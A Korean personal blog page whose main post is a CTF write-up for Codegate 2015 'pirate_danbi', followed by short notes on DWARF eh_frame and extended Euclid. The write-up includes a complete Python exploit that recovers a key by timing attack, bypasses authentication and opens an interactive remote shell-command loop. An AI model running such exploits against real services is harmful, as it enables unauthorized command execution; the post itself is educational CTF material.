Be myself :: Be myself

달력

52024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

[codegate2015]pirate_danbi

Wargame 2015. 5. 12. 15:24

일단 처음 입력 값은 [menu select 1byte][input size 2byte]로 받아서 처리한다. 메뉴들을 살펴보면 단순하다. 1번 메뉴에선 인풋에 대한 인증처리를 하고 2번 메뉴에선

선 인풋값에 대한 bz2파일을 하나 만든다. 3번 메뉴에선 1번메뉴에서 정상적인 인풋값을 가지면 flag역할을 하는 변수(0x6030f0)가 on되는데, 그렇다면 bz2압축을 풀고 그 결과 값에 대한 파일을 하나 만든다. 4번메뉴도 정확한 input값이 들어 왔는지 strcmp함수로 비교하고 정상적인 인풋이라면 flag역할을 하는 변수(0x6030ec)를 on한다. 메뉴 5번은 system함수로 bz2압축이 풀린 파일을 실행한다. 이 때 4번에서 on된 flag변수(0x6030ec)를 확인하여 1의 값을 가져야 system함수가 호출된다.

그래서 관건은 1번메뉴를 잘 리버싱해서 정상적인 input을 가지도록 한다면 원하는 명령을 수행할 수 있을 것이다. 1번메뉴를 보면 다음과 같다.

input size가 8의 배수인지 아닌지 체크하고 인풋 값이 정상적인지 아닌지 key_input_calc에서 체크한다. 저 부분을 리버싱하면 된다.

여기에서 보면 cmp_string부분은 나중에 strcmp함수 인증통과를 위한 부분인데, 이 부분을 이용하려면 key값이 필요할것 이다. 위에서  xor_result값이 key값이랑 xor 된 값이라는 것을 알 수 있고 이 부분을 brute force하면 key값을 알 수 있을 것 같다.(xor_result[7]=1이 될 경우 bz_flag가 1이되고 따라서 bz2압축해제가 가능하게 된다. bz2 압축을 많은 데이터로 압축하고, 해제를 2000번정도 해 주면 압축해제가 되는지 안되는지 알 수 있다(timing attack) 따라서 key^input = 1 이므로 key값의 1바이트를 구할 수 있게 되고 다른 key값도 마찬가지 방식으로 구해 올 수 있다.)

이런 방식으로 key값을 얻어오고 cmp_string값을 YO_DANBI_CREW_IN_THE_HOUSE. 로 조작하면 기본 조건이 완성되고, 우리가 원하는 명령어를 실행 시킬 수 있다.



#!/usr/bin/python
from socket import *
from telnetlib import *
import time
import struct
import bz2

leng = lambda x: struct.pack(">h",x)
menu = lambda x: struct.pack("q",x)

def read_zip(s):
    pay = menu(0x3)+leng(0x10)
    pay += "A"*0x10
    s.send(pay)
    #return pay

def write_zip(s):
    f = open("bztest.bz2")
    buf = f.read()

    pay = menu(0x2)+leng(len(buf))
    pay += buf
    s.send(pay)
    f.close()
    #return pay

def banner(s):
    pay = menu(0x6)+leng(0x2800)
    pay += "A"*0x2800
   
    s.send(pay)

    s.shutdown(SHUT_WR)
    print s.recv(1000)
    s.close()


def connect_brute_key(last):
    s = socket()
    s.connect(('localhost',31339))

    write_zip(s)
    pay = menu(0x1)+leng(0x10)
    pay += "A"*(0x10-len(last))+last
    
    #return pay
    s.send(pay)
    for i in range(3000):
        read_zip(s)
    banner(s) 


def get_key():
    key = []
    b_key = "A"*8
    count = 0

    for j in range(7,-1,-1):
        count += 1
        for i in range(0x100):
            t1 = time.time()
            pay = b_key[:j]+chr(i)+b_key[j+1:]
            connect_brute_key(pay)
            print "[*]attack "+pay.encode('hex')
            t2 = time.time()
            result = t2-t1
            print "*"+hex(j)+"[* "+hex(i) +" time] " +str(result)
            if result > 0.2:
                print "[*]found"
                if(len(key)==0):
                    key.append(i^1)
                    b_key = b_key[:8-1]+chr(key[0]^(count+1))
                    break
                else:
                    key.insert(0,i^count)
                    b_key = b_key[:8-count]
                    for t in range(count):
                        print "[*]insert %x" %(key[t]^(count+1))
                        b_key += chr(key[t]^(count+1))
                    break
            time.sleep(0.1)

    key = ''.join([chr(i) for i in key])
    b_key = ''.join([chr(i) for i in b_key])
    return key.encode('hex'),b_key.encode('hex')
    

def auth(s):
    last = "e32a4a8777f7f102".decode('hex')
    pay = menu(0x1)+leng(0x0a)
    pay += "A"*(0x10-len(last))+last
    
    s.send(pay)


key , attack = get_key()
auth_s = "YO_DANBI_CREW_IN_THE_HOUSE."
if(len(auth_s)%8 !=0):
    auth_s += "\x00"*(8-len(auth_s)%8)

padding = []
input_s = []
for i in range(0,(len(auth_s)/8)):  #divde padding 8 byte
    padding.append(auth_s[8*i:(8*i+8)])


input_s.append(attack)
for i in range((len(padding))-1,-1,-1):
    buf = ""
    for j in range(0,8):
	buf += chr((ord(padding[i][j])-ord(key[j])&0xff)^ord(input_s[0][j]))

    input_s.insert(0,buf)


input_s.pop()
input_s.append(attack)

#print padding
#print input_s
auth_key = ''.join(input_s)

s = socket()
s.connect(('localhost',31339))

#stage 1: pass calc
pay = menu(0x1)+leng(len(auth_key))
pay += auth_key

#stage 2: pass strcmp
pay += menu(0x4)+leng(0x10)
pay += "A"*0x10
s.send(pay)



while(True):    #cmd = raw_input("$")
    cmd = raw_input("$")
    #stage 3: write payload to bz2
    cmd = bz2.compress(cmd)
    pay = menu(0x2)+leng(len(cmd))
    pay += cmd

    #stage 4: write payload to file
    pay += menu(0x3)+leng(0x10)
    pay += "A"*0x10

    #stage 5 : run sh
    pay += menu(0x5)+leng(0x10)
    pay += "A"*0x10

    time.sleep(0.2)
    s.send(pay)
    print s.recv(1000)


	

danbi2.py



'Wargame' 카테고리의 다른 글

[pwnable.kr]crypto1  (0) 2015.07.06
Codegate2015 bookstore  (0) 2015.07.01
[pwnable.kr]echo2  (0) 2015.04.28
[pwnable.kr]echo1  (0) 2015.02.20
[pwnable.kr]coin2  (0) 2015.01.07
Posted by flack3r
|

elf DWARF관련..

Reversing 2015. 5. 8. 11:48

c++에서 익셉션이 발생했을 때 (try~catch 구문에서) stack unwinding 과정을 거쳐 catch문으로 eip가 이동해 핸들러가 실행되게 되는데, 익셉션이 발생한 시점에서 바로 예외 핸들러가 실행되게 되면, 스택이나 레지스터가 제대로 세팅된 상태가 아니기 때문에 에러가 난다. 이를 방지하기 위해 DWARF(elf 디버깅 정보 저장)에 byte code로 eh_frame섹션에 저장되어 있다. 이 byte code들은 libc의 DWARF 인터프리터에 의해 실행된다. 

DWARF 정보를 알기 위해 readelf -w [elf file name]과 같이 입력하면 된다.

flack3r@ubuntu:~/prob$ readelf -w echo

Contents of the .eh_frame section:


00000000 0000000000000014 00000000 CIE

  Version:               1

  Augmentation:          "zR"

  Code alignment factor: 1

  Data alignment factor: -8

  Return address column: 16

  Augmentation data:     1b


  DW_CFA_def_cfa: r7 (rsp) ofs 8

  DW_CFA_offset: r16 (rip) at cfa-8

  DW_CFA_nop

  DW_CFA_nop


00000018 0000000000000024 0000001c FDE cie=00000000 pc=0000000000400610..00000000004006b0

  DW_CFA_def_cfa_offset: 16

  DW_CFA_advance_loc: 6 to 0000000000400616

  DW_CFA_def_cfa_offset: 24

  DW_CFA_advance_loc: 10 to 0000000000400620

  DW_CFA_def_cfa_expression (DW_OP_breg7 (rsp): 8; DW_OP_breg16 (rip): 0; DW_OP_lit15; DW_OP_and; DW_OP_lit11; DW_OP_ge; DW_OP_lit3; DW_OP_shl; DW_OP_plus)

  DW_CFA_nop

  DW_CFA_nop

  DW_CFA_nop

  DW_CFA_nop


00000040 000000000000001c 00000044 FDE cie=00000000 pc=0000000000400794..00000000004007c0

  DW_CFA_advance_loc: 1 to 0000000000400795

  DW_CFA_def_cfa_offset: 16

  DW_CFA_offset: r6 (rbp) at cfa-16

  DW_CFA_advance_loc: 3 to 0000000000400798

  DW_CFA_def_cfa_register: r6 (rbp)

  DW_CFA_advance_loc: 39 to 00000000004007bf

  DW_CFA_def_cfa: r7 (rsp) ofs 8

  DW_CFA_nop

  DW_CFA_nop

  DW_CFA_nop


여기서 CIE는 익셉션이 발생했을 때 공통적으로 실행되는 부분이고 FDE는 특정 예외 처리 부분이라고 한다.

DW_CFA_val_expression 에 대한 설명은 http://www.dwarfstd.org/doc/040408.1.html 에 있다.


'Reversing' 카테고리의 다른 글

vmware 디버깅  (0) 2015.01.28
peda 설치법  (0) 2014.10.17
지뢰 찾기 핵  (1) 2014.07.29
치트엔진을 활용한 환세취호전 핵  (2) 2014.07.28
DLL Injection  (1) 2014.05.17
Posted by flack3r
|

확장된 유클리드

crypto 2015. 5. 7. 23:31

def EEC(a,b):

s,_s=0,1

t,_t=1,0

r,_r=b,a

while r>0:

q=_r/r

_r,r=r,_r-q*r

_s,s=s,_s-q*s

_t,t=t,_t-q*t


gcd = _r

x,y=_s,_t


return x,y,gcd



ax == 1(mod b)

에서 x,y, gcd(1) 구함

'crypto' 카테고리의 다른 글

[BCTF 2017]Beginner's luck (crypto 40)  (0) 2017.02.05
[picoctf 2015]Repeated XOR  (4) 2015.11.20
암호 공격방법  (0) 2015.04.25
[펌]python hashlib  (0) 2015.03.21
전반적인 암호화  (0) 2015.02.26
Posted by flack3r
|